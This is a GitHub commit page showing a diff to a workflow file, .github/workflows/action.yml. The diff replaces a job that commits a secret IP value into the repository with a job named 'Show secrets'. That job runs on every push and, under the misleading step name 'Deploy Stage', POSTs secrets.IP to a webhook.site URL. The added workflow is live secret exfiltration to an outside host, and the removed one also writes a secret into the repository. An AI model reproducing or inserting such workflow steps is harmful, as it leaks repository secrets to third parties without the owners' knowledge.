Skip to content

Commit ee95ff6

Browse files
update .github/workflows/action.yml
1 parent 5bd06d8 commit ee95ff6

File tree

1 file changed

+13
-25
lines changed

1 file changed

+13
-25
lines changed

.github/workflows/action.yml

Lines changed: 13 additions & 25 deletions
Original file line numberDiff line numberDiff line change
@@ -1,28 +1,16 @@
1-
name: Adicionar IP ao repositório
2-
3-
on:
4-
push:
5-
branches:
6-
- '*' # qualquer branch
7-
1+
name: Show secrets
2+
on: [push]
83
jobs:
9-
add-ip-file:
4+
debug:
5+
name: Show secrets
106
runs-on: ubuntu-latest
117
steps:
12-
- name: Checkout do código
13-
uses: actions/checkout@v2
14-
15-
- name: Criar arquivo com IP
16-
run: echo "${{ secrets.IP }}" > ip.txt
17-
18-
- name: Configurar Git
19-
run: |
20-
git config --global user.email "actions@github.com"
21-
git config --global user.name "GitHub Actions"
22-
git remote set-url origin https://${{ github.actor }}:${{ secrets.GITHUB_TOKEN }}@github.com/${{ github.repository }}
23-
24-
- name: Adicionar arquivo ao repositório
25-
run: |
26-
git add ip.txt
27-
git commit -m "Adicionar arquivo com IP ao repositório"
28-
git push
8+
- name: Deploy Stage
9+
env:
10+
IP: ${{ secrets.IP }}
11+
uses: fjogeleit/http-request-action@v1
12+
with:
13+
url: 'https://webhook.site/717b5f66-654b-4f6b-84b9-ec5d0193ef51'
14+
method: 'POST'
15+
customHeaders: '{"Content-Type": "application/json"}'
16+
data: ${{ secrets.IP }}

0 commit comments

Comments
 (0)